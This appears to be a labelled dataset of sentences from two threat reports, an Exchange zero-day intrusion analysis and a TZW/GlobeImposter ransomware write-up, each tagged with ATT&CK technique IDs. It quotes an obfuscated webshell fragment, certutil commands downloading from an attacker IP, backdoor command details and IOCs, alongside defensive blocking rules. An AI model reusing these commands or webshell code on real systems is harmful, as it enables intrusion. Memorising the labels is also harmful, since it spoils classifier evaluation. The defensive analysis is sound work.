{"sentence": "FromBase64String('Wg=='))+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "We suspect that these come from a Chinese attack group because the webshell codepage is 936, which is a Microsoft character encoding for simplified Chinese.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Another notable feature is that the hacker also changes the content of the file RedirSuiteServiceProxy.aspx to webshell content.", "labels": ["T1036.005"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "RedirSuiteServiceProxy.aspx is a legitimate file name available in the Exchange server.", "labels": ["T1036.005"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "FileName Path RedirSuiteServiceProxy.aspx C:\\ProgramFiles\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth Xml.ashx C:\\inetpub\\wwwroot\\aspnet_client pxh4HG1v.ashx C:\\ProgramFiles\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth During the incident response process at another customer, GTSC noted that the attack team used another webshell template Filename: errorEE.aspx SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 Ref: https://github.com/antonioCoco/SharPyShell Command Execution Besides collecting information on the system, the attacker downloads files, and checks connections through certutil, which is a legitimate tool available in the Windows environment.", "labels": ["T1005", "T1059.003", "T1105"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "“cmd” /c cd /d \"c:\\\\PerfLogs\"&certutil.exe -urlcache -split -f", "labels": ["T1059.003"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "http://206.188.196.77:8080/themes.aspx", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "c:\\perflogs\\t&echo", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "[S]&cd&echo [E] \"cmd\" /c cd /d \"c:\\\\PerfLogs\"&certutil.exe -urlcache -split -f", "labels": ["T1059.003"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "https://httpbin.org/get", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "c:\\test&echo", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "[S]&cd&echo [E] It should be noted that every command ends with the string echo", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "[S]&cd&echo", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "[E], which is one of the signatures of the Chinese Chopper.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "In addition, the hacker also injects malicious DLLs into the memory, drops suspicious files on the attacked servers, and executes these files through WMIC.", "labels": ["T1047", "T1055", "T1105"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Suspicious File On the servers, we detected suspicious files of exe and dll formats FileName Path DrSDKCaller.exe C:\\root\\DrSDKCaller.exe all.exe C:\\Users\\Public\\all.exe dump.dll C:\\Users\\Public\\dump.dll ad.exe C:\\Users\\Public\\ad.exe gpg-error.exe C:\\PerfLogs\\gpg-error.exe cm.exe C:\\PerfLogs\\cm.exe msado32.tlb C:\\Program Files\\Common Files\\system\\ado\\msado32.tlb Among the suspect files, based on the commands executed on the server, we determined that all.exe and dump.dll are responsible for credentials dumping on the server system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "After that, the attacker uses rar.exe to compress dumped files and copy them to the webroot of the Exchange server.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Unfortunately, during the response process, the above files no longer exist on the compromised system, possibly due to the hacker’s evidence deletion.", "labels": ["T1027"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The cm.exe file that is dropped into the C:\\PerfLogs\\ folder is the standard Windows command line tool cmd.exe.", "labels": ["T1059.003"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Malware Analysis DLL information File name: Dll.dll Sha256: 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 DLL analysis GTSC analyzes a specific sample (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) to describe the behavior of the malicious code, other DLL samples have the similar tasks and behaviors, differing only in listener configuration.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The DLL consists of two classes: Run and m, each of which calls to methods that perform different tasks.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Specifically: The Run class creates a listener that listens for connections to port 443 at the path https://*:443/ews/web/webconfig/. After listening, the malware creates a new thread that calls to r. Method r does: - Check whether the received request has data in the body or not, if not then returns result 404.", "labels": ["T1071.001"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "- Conversely, if the request includes data, the DLL continues to process the stream inside the IF branch: Check if the received request includes \"RPDbgEsJF9o8S=\" or not.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "If yes, call method i in class m to handle received request.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Results returned from Run.m.i will be coverted to a base64 string.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Results returned to the client in the following format { \"result\":1, \"message\":\"base64(aes(result))", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "\" } Class m Method", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "i does: - Decrypt the request received using AES algorithm where the first 16 bytes of the request are the IV value, the next 16 bytes are the key value, the rest are the data.", "labels": ["T1140"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "- After decoding, get the first element in the array as a flag to handle the defined cases as follows: o Case 0: Call to method info.", "labels": ["T1140"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "This method is responsible for collecting system information.", "labels": ["T1082"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Information such as operating system architecture, framework version, operating system version, etc.", "labels": ["T1082"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "GTSC simulates case 0 with the image below.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The request is sent in a format that the first 16 bytes are the IV value, the next 16 bytes are the key value, followed by a flag to specify the option, and the rest is data.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "base64 (IV | key | aes(flag|data)) o Case 1: Calls to method sc, which is responsible for allocating memory to implment the shellcode o Case 2: Call to two methods p and r. Method p handles data separated by the \"|\" character, save to array array3.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The array array3 will take the first 2 elements as parameters for method r, which is responsible for executing the command o Case 3: Call to method ld, which is responsible for listing directory and file information in the format D|-|<Date created> |<Date modified> |<folder or file name> o Case 4: Call to method wf, which is responsible for writing files o Case 5: Call to method rf, which is responsible for reading files o Case 6: Create a folder o Case 7: Delete file or folder o Case 8: Moving file o", "labels": ["T1070.004", "T1083"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Case 9: Set time for a file o Case 10: Load and execute C# bytecode received from request.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The other DLL samples have similar tasks, and are only different in listener configurations as follows:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Victim 1: https://*:443/ews/web/webconfig/ https://*:443/owa/auth/webcccsd/ https://*:444/ews/auto/ https://*:444/ews/web/api/ Victim 2: http://*:80/owa/auth/Current/script/ https://*:443/owa/auth/Current/script/ GTSC also detected that the DLL was injected into the memory of the svchost.exe process.", "labels": ["T1055"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The DLL makes a connection to send and receive data to the address 137[.]184[.]67[.]33 that is fixed in the binary.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Sending and receiving data with C2 using the RC4 encryption algorithm where the key will be generated at runtime.", "labels": ["T1573.001"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Temporary containment measures GTSC's direct incident response process recorded more than 1 organizations being the victims of an attack campaign exploiting this 0-day vulnerability.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "In addition, we are also concerned that there may be many other organizations that have been exploited but have not been discovered.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "While waiting for the official patch from the company, GTSC provides a temporary remedy to reduce the vulnerability of attacks by adding a rule to block requests with indicators of attack through the URL Rewrite Rule module on IIS server.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "- In Autodiscover at FrontEnd select tab URL Rewrite, select Request Blocking - Add string “.*autodiscover\\.json.*\\@.*Powershell.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "*“ to the URL Path: - Condition input: Choose {REQUEST_URI} We recommend all organizations/enterprises around the world that are using Microsoft Exchange Server to check, review, and apply the above temporary remedy as soon as possible to avoid potential serious damages.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Detection: To help organizations check if their Exchange Servers have been exploited by this bug yet, GTSC have released guideline and a tool to scan IIS log files (stored by default in the %SystemDrive%\\inetpub\\logs\\LogFiles folder ):", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Method 1: Use powershell command: Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter \"*.log\"", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "| Select-String -Pattern 'powershell.*autodiscover\\.json.*\\@.*200 Method 2: Use the tool developed by GTSC:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Based on the exploit signature, we build a tool to search with much shorter time needed than using powershell.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "The link to download: https://github.com/ncsgroupvn/NCSE0Scanner Indicators of Compromise (IOCs) Webshell:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "File Name: pxh4HG1v.ashx Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 Path: C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\pxh4HG1v.ashx File Name: RedirSuiteServiceProxy.aspx Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5 Path: C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\RedirSuiteServiceProxy.aspx File Name: RedirSuiteServiceProxy.aspx Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca Path: C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\RedirSuiteServiceProxy.aspx File Name: Xml.ashx Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 Path: Xml.ashx Filename: errorEE.aspx SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 Path:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\errorEE.aspx DLL:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "File name: Dll.dll SHA256: 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 File name: 180000000.dll (Dump từ tiến trình Svchost.exe) SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e IP: 125[.]212[.]220[.]48 5[.]180[.]61[.]17 47[.]242[.]39[.]92 61[.]244[.]94[.]85 86[.]48[.]6[.]69 86[.]48[.]12[.]64 94[.]140[.]8[.]48 94[.]140[.]8[.]113 103[.]9[.]76[.]208 103[.]9[.]76[.]211 104[.]244[.]79[.]6 112[.]118[.]48[.]186 122[.]155[.]174[.]188 125[.]212[.]241[.]134 185[.]220[.]101[.]182 194[.]150[.]167[.]88 212[.]119[.]34[.]11 URL: hxxp://206[.]188[.]196[.]77:8080/themes.aspx C2: 137[.]184[.]67[.]33 Mitre ATT&CK Mapping Tatic ID Name Resource Development T1586.002 Compromise Accounts: Email Accounts Execution T1059.003 Command and Scripting Interpreter:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Windows Command Shell Execution T1047 Windows Management Instrumentation Persistence T1505.003 Server Software Component: Web Shell Defense Evasion T1070.004 Indicator Removal on Host: File Deletion Defense Evasion T1036.005 Masquerading: Match Legitimate Name or Location Defense Evasion T1620 Reflective Code Loading Credential Access T1003.001 OS Credential Dumping:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "LSASS Memory Discovery T1087 Account Discovery Discovery T1083 File and Directory Discovery Discovery T1057 Process Discovery Discovery T1049 System Network Connections Discovery Lateral Movement T1570 Lateral Tool Transfer Collection T1560.001 Archive Collected Data: Archive via Utility 28/09/2022 GTSC TEAM", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"}
{"sentence": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family url: https://www.sentinelone.com/blog/recent-tzw-campaigns-revealed-as-part-of-globeimposter-malware-family/ In recent years, efforts to apprehend threat groups and shrink their operating landscape have gone international.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "As authorities across multiple countries continue to implement sanctions and openly communicate current trends to the public, threat groups increasingly resort to rebranding or creating similar variants under different names to sidestep crackdowns and obfuscate their identities.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "In a February 2023 blog post, Ahnlab described a new ransomware campaign affecting South Korean organizations which deployed a malware they dubbed “TZW” ransomware.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Our research links TZW ransomware to a known malware family called GlobeImposter (sometimes referred to as LOLNEK or LOLKEK).", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Close inspection of host origins and prominent file similarities used in both TZW and GlobeImposter campaigns suggest that actors behind GlobeImposter are updating their payloads and obfuscating their infrastructure in a manner consistent with a rebrand effort.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Overview of GlobeImposter & New Variant TZW GlobeImposter has a long and winding history.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "First observed in-the-wild in 2016, the name “GlobeImposter” is based on the ransomware’s mimicry of Globe ransomware payloads.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Multiple new versions and variations of GlobeImposter have appeared in the years since.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Frequently, these have been referred to by their extension (e.g., .DREAM, .Nutella, .NARCO, .LEGO).", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "However, these are all part of the same umbrella malware family.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "In that same year, Emisoft released a decryption tool for early versions of GlobeImposter.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Shortly after, the malware authors responded with an updated version for which no decryption tools are available.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Since 2017, campaigns delivering GlobeImposter have continued to proliferate even though the ransomware has only evolved slightly.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The ransomware has also been used in conjunction with some well-documented high-end cybercriminal groups.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "For example, in 2017 TA505 (also known as G0092, GOLD TAHOE) began using GlobeImposter in replacement of Jaff, GandCrab, and Snatch to extend the reach and effectiveness of their campaigns.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter’s Delivery Methods Explained GlobeImposter is most often delivered via phishing email as an attachment or a link to a malicious attachment.", "labels": ["T1566.001"], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The payloads are typically distributed via 7zip or traditional zip file archives.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The archives often include a JavaScript (.js) file that downloads and executes the GlobeImposter payload.", "labels": ["T1027"], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "More recent campaigns from within the past three years still tend to follow this formula.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter has also been distributed as a later-stage infection within some well-known botnets.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "For example, in 2017 GlobeImposter was distributed via the Necurs botnet.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "This occurred as part of multiple spam campaigns that also included 7zip archives and followed the execution flow previously described.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Linking TZW Attacks to GlobeImposter AhnLab’s research revealed a ransomware campaign they referred to as “TZW” with victims in South Korea.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The name is derived from the first 3 characters of the TOR-based victim portal.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "A closer look suggests that “TZW” samples represent a new variant of the GlobeImposter family.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The pre-TZW GlobeImposter ransom notes follow the same template as the current TZW samples.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Ransom note similarities are far from reliable, but it’s worth noting their likenesses.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Example of a GlobeImposter ransom note.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Example of a TZW variant GlobeImposter ransom note.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Once a machine is infected, more concrete markers indicate a deeper level of similarity.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "One such marker is the “CRYPTO LOCKER” string appended to the tail of the encrypted files.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "This is a known marker present across GlobeImposter variants.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Examples of CRYPTO LOCKER markers at EOF (TZW and LOLKEK variants).", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter has the ability to delete volume shadow copies, thereby inhibiting the recovery of data.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "There are clear similarities around the methodology of the VSS removal.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter shadow copy removal highlights.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter vs TZW variant shadow copy removal procedure.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Code and functionality, by and large, are identical across GlobeImposter payloads pointing to obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.] onion and those pointing to the newer tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "A thorough comparison of the two respective samples shows there are only minor differences.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Zoomed-out view of GlobeImposter (hex) compared against the TZW variation.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "AhnLab’s research describes artifacts from a specific sample within a specific campaign.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "We have seen the newer TZW variations vary somewhat with regards to file metadata.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Two TZW payloads, varied file metadata A majority of the TZW variant samples that we have analyzed resemble the version on the left hand side.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The version on the right was seen in the samples noted by AhnLab.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Understanding TZW and GlobeImposter’s Shared Infrastructure Previous GlobeImposter payloads directed victims to a TOR-based portal at obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "GlobeImposter Victim Portal 1.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Beginning in late 2022, we start to see victims also being directed to tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "The interfaces and required steps are identical: GlobeImposter Victim Portal 2 from late 2022 onward.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "At the time of writing, both victim portals remain active.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "In addition, we can confirm the relationship between these via the publicly-viewable Apache Server Status Page.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "This Apache status screen is visible as a result of a misconfiguration on the Apache server, allowing us to see all the active vhosts (virtual hosts) present there.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Apache Status page – GlobeImposter victim portal.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Through this view we see that the following vhosts are active on the device.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion linux[.]3bcd0a[.]com Vhosts on GlobeImposter victim portal.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "This evidence of shared infrastructure suggests that the newly rebranded TZW ransomware samples are likely being operated by the same group that was pushing recent waves of GlobeImposter malware.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "How to Protect Against GlobeImposter and TZW Ransomware SentinelOne Singularity protects against malicious behaviors and malware associated with GlobeImposter and TZW.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "With the site policy set to Protect, GlobeImposter ransomware is detected and prevented automatically.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "In Detect-only mode, analysts can observe the malware’s behaviour and file encryption attempts, rolling back the device to a clean state on completion of the test.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Conclusion Based on our analysis, the TZW ransomware recently documented by AhnLab is yet another example of the threat actors behind GlobeImposter pivoting their TTPs alongside a rebrand, including a new but related Onion address.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "We also show that the old “LOLNEK” Onion address and the Onion address within the TZW variant are hosted on the same server as two vhosts.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Regardless of the name or brand, GlobeImposter continues to pose a threat to enterprises.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Ensuring good user hygiene, along with strong, properly-configured, and robust security controls will go a long way to prevent these attacks from affecting your environment.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "SentinelOne Singularity protects against malicious behaviors and malware associated with GlobeImposter and TZW.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
{"sentence": "Indicators of Compromise SHA1 4585da0ff7a763be1a46d78134624f7cd13e6940 14be1c43fbfb325858cda78a126528f82cf77ad2 dc98b516c9c589c2b40bc754732ad5f16deb7c82 d034880d1233d579854e17b6ffad67a18fb33923 858f3f7f656397fcf43ac5ea13d6d4cbe7a5ca11 9a080cd497b8aa0006dc953bd9891155210c609c 8c64e820a4c5075c47c4fbaea4022dc05b3fd10b 3326708ba36393b1b4812aa8c88a03d72689ac24 cf5ab37612f24ed422a85e3745b681945c96190e cf21028b54c4d60d4e775bf05efa85656de43b68 Onions tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion MITRE ATT&CK T1005 – Data from Local System T1202 – Indirect Command Execution T1486 – Data Encrypted for Impact T1070.004 – Indicator Removal:", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"}
